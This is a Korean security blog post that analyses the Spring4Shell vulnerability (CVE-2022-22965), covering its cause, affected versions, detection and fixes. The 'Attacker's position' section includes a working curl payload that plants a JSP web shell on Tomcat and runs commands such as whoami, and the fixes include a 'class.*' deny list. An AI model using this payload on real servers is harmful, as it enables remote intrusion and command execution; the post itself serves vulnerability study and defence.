끄적끄적

[Spring4Shell] CVE-2022-22965 본문

Security/Web

[Spring4Shell] CVE-2022-22965

Go0G 2022. 5. 2. 15:28

Concept

Spring Core에서 발생하는 RCE 취약점으로, Spring Framework의 getCachedIntrospectionResults 메소드가 매개변수를 바인딩 시 Class 객체를 외부에 노출

Detail

사용자가 파라미터 값을 설정하여 요청 시, Spring Framework의 Requset Binding 프로세스(bindRequsetParameter)는 getCachedIntrospectionResults 메소드를 호출
이때, 캐시의 개체 속성(Property)을 불러오고 설정하는 과정에서 반환 객체에 Class 개체가 포함되어 취약점 발생

즉, 사용자가 GET, POST 등의 방식으로 파라미터를 통해 Class 개체에 접근 가능 

propertyDescriptors내 Class 객체


CVE-2010-1622 연계

CachedIntrospectionResults()에서 PropertyDescriptor에 대한 검사가 적절하게 수행되지 않아, class.Loader를 사용하여 시스템 클래스 로더의 경로를 수정하고 런타임 중 프로그램이 Java 코드를 호출할 수 있는 취약점으로 CVE-2010-1622에 대한 패치("class.classLoader", "class.protectionDomain" 필터링 적용)가 진행되었지만, JDK 9.0 이상에서 class.module.classLoader를 사용하여 우회가 가능

*classLoader Object는 Tomcat 서버의 버전에 따라 접근 가능한 항목의 차이 존재



CVE-2014-0094 연계

Tomcat 8에서 접근로그 설정을 위한 속성(Property)을 사용하여 Tomcat 서버의 접근 로그 속성을 변경시킴
- directory: 로그 파일이 위치할 디렉터리 경로
- prefix: 생성될 로그 파일 이름의 파일명
- suffix: 생성될 로그 파일 이름의 확장자
- fileDataformat: 생설될 로그 파일의 날짜 형식 지정


 

Result

  1. Spring Framework의 Spring Core에서 파라미터를 바인딩하는 Requset Binding 프로세스가 getCachedIntrospectionResults 메소드를 호출시 클래스 개체가 사용자에게 노출되어 사용자가 파라미터를 통해 Class 개체에 접근 가능(/path?class)
  2. CVE-2010-1622 취약점과 연계하여, class.module.classLoader 객체에 접근
  3. CVE-2014-0094 취약점과 연계하여, Class.Loader Object의 로그관련 Property를 사용하여 웹 셸 파일 업로드

Exploit Concept

공격자가 WebAppClassLoader에 접근할 수 있어 Tomcat Logging Property를 변경하는 방식을 통해 악성 JSP 파일 작성 가능

Detail

Tomcat Class인 *AccessLogValve에서 **Spring Beans 컴포넌트가 POJO(Plain Old Java Object)로 구문 분석을 시도할 때, AccessLogValve의 getDirectory, setDirectory 인스턴스가 Class Object를 참조하게 되고, ***classLoader Object 참조 및 런타임 Property를 변경하여 악성 JSP 파일 업로드 

 

*AccessLogValve: Access Log 파일 출력과 관련된 Class로 로깅 전 로그 파일의 존재를 확인하거나 새 로그 파일 작성을 수행할 수 있음

**Spring Beans 컴포넌트: 클래스 내에 포함되는 메소드(setter, getter)를 선언

***ClassLoader: JVM 구성요소로 런타임 중 클래스가 요청되면 class 파일로부터 바이트 코드를 읽어 메모리내에 Class 객체 생성


RCE Condition

  • JDK 9 이상
  • Spring Framework 5.3.0 ~ 5.3.17, 5.2.0 ~ 5.2.19 및 이전 버전 
  • Apache Tomcat
  • 프로젝트가 WAR로 패키징
  • Spring-WebMVC 혹은 Spring-webFlux를 사용

Proof Method

Develper's position

WAR파일 획득 가능한 경우

WAR로 패키징된 파일을 압축 해제 후, Spring Framework 사용 여부 및 CachedIntrosepection Class 사용여부 확인

 #find . -name spring-beans*.jar
 #find . -name spring.jar
 #find . -name CachedInstrosepctionResuLts.class

Attacker's position

non-Instrusive

classLoad Module 동작 여부 확인

  • classLoad Module 사용 시, 400 에러 응답 -> 취약
  • classLoad Module 미사용시, 다른 상태 코드 반환 -> 양호
#curl -v https://TARGET/PATH/?class.module.classLoader.URLs%5B0%5D=0
#curl -i -k https://TARGET/PATH/?class.module.classLoader.DefaultAssertionStatus=nosense | grep -i 400

Instrusive

"Tarlogic 2022" 텍스트 업로드

#curl -v -d "class.module.classLoader.resources.context.parent.pipeline.first.pattern=Tarlogic%202022&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module. classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tarlogicCheckSpring4Shell&class.module.classLoader.resources.context.parent.pipeline.first. fileDateFormat=" https://YOURSERVER/
#curl https://YOURSERVER/tarlogicCheckSpring4Shell.jsp

웹셸 업로드

사용에 대한 문제는 사용자 본인에게 있습니다.

#curl -H "suffix":"%>//" -H "c1":"Runtime" -H "c2":"<%" -H "c3":"TARLOGIC" -H "DNT":"1" -H "Content-Type":"application/x-www-form-urlencoded" -d 'class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22%25%7Bc3%7Di%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=' https://TARGET

##URL 호출
https://TARGET/tomcatwar.jsp?pwd=TARLOGIC&cmd=whoami

Solution

1. IDS

WAF 혹은 방화벽에서 "class.*" 파라미터 요청에 대한 Deny 룰셋 구성

2. Server Side 소스코드 수정

*웹 서버 재구동 필요

Spring Framework의 ControllerAdvice를 사용하여 전역에서 발생할 수 있는 예외를 처리(DataBinder를 사요앟여 특정 패턴을 허용하지 않도록 구성)

import org.springframework.core.Ordered;
import org.springframework.core.annotation.Order;
import org.springframework.web.bind.WebDataBinder;
import org.springframework.web.bind.annotation.ControllerAdvice;
import org.springframework.web.bind.annotation.InitBinder;

@ControllerAdvice
@Order(10000)
public class BinderControllerAdvice {
    @InitBinder
    public void setAllowedFields(WebDataBinder dataBinder) {
         String[] denylist = new String[]{"class.*", "Class.*", "*.class.*", "*.Class.*"};
         dataBinder.setDisallowedFields(denylist);
    }
}

주요 컨트롤러내 초기 메소드 설정

import com.pinger.fun.model.EvalBean;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.propertyeditors.StringTrimmerEditor;
import org.springframework.ui.Model;
import org.springframework.web.bind.WebDataBinder;
import org.springframework.web.bind.annotation.InitBinder;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;

import javax.servlet.ServletContext;
import javax.servlet.http.HttpServletRequest;

@RestController
public class IndexController {
    @RequestMapping("/index")
    public void index(EvalBean evalBean){
        System.out.println("Hello world!");
    }

    // You only need to add this method in one of your controllers in order to prevent exploitation.
    @InitBinder
    public void initBinder(WebDataBinder binder) {
        String[] blackList = {"class.*","Class.*","*.class.*",".*Class.*"};
        binder.setDisallowedFields(blackList);
    }
}

3. 버전 업데이트

Spring Framework 5.3.18, 5.2.20 이상으로 업데이트


Reference

더보기

'Security > Web' 카테고리의 다른 글

[취약점 진단] HTTPS 사용  (0) 2022.05.15
[vulnerability] File Upload  (0) 2022.04.25
[Exploit] 예제 코드  (0) 2022.03.03
[Secure Coding] Prepared Statement 훑어보기  (1) 2022.01.17
[vulnerability] Nginx alias traversal  (0) 2021.10.07
Comments